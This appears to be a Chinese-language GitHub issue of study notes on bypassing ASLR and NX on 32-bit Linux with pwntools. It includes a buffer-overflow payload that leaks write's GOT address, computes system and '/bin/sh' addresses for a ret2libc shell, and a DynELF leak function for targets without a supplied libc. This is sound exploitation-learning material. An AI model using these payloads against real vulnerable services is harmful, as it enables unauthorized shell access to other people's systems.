ASLR+NX绕过
xinali opened this issue · 0 comments
xinali commented
存在libc.so的情况
- 确定有没有开启ASLR:
➜ ldd 1
linux-gate.so.1 => (0xf7ffd000)
libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
/lib/ld-linux.so.2 (0x56555000)
再次运行ldd,
➜ ldd 1
linux-gate.so.1 => (0xf7ffd000)
libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
/lib/ld-linux.so.2 (0x56555000)
两次libc的基址一样也说明了主机没有开启ASLR,如果不同则主机开启ASLR
- 使用checksec查看是否开启NX
- 确定开启ASLR+NX,绕过方法
- 找到got_write_addr地址
plt_write_addr = level2.plt['write']
ret_addr = 0x08048471 // vul_func_addr
got_write_addr_buf = level2.got['write']
payload1 = 'A' * 140 + p32(plt_write_addr) + p32(ret_addr)
payload1 += p32(1) + p32(got_write_addr_buf) + p32(4)
p.send(payload1)
write_addr = u32(p.recv())
- 找到system_addr和/bin/sh的地址
# write_addr - system_addr = libc_write_addr - libc_system_addr
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
sh_addr = system_addr + next(libc.search('/bin/sh')) - libc.symbols['system']
payload = 'A' * 140 + p32(system_addr) + p32(ret_addr)
payload += p32(sh_addr)
p.send(payload)
p.interactive()
##libc.so不存在的情况
在不提供libc.so的情况下泄漏
from pwn import *
io = process("./3")
elf = ELF("./3")
offset = 92
def leak(address):
log.info("leak address =>{}".format(hex(address)))
payload = offset * 'a'
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['func'])
payload += p32(1)
payload += p32(address)
payload += p32(4)
io.send(payload)
io.recv(0x100)
ret = io.recv()
return ret
d = DynELF(leak, elf = ELF('./3'))
system_addr = d.lookup("system", "libc")
log.success("system address =>{}".format(hex(system_addr)))
动态链接的函数调用
第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got
进阶总结 linux:http://pwdme.cc/2017/09/26/bypassing-aslr-dep-using-rop-return-to-dl-resolve-in-32-bit-system/
64位:http://yunnigu.dropsec.xyz/2016/11/21/pwn%E5%AD%A6%E4%B9%A0rop%E4%B9%8Bx64%E7%AF%87/
相对较为复杂的windows情况:http://www.arkteam.net/?p=443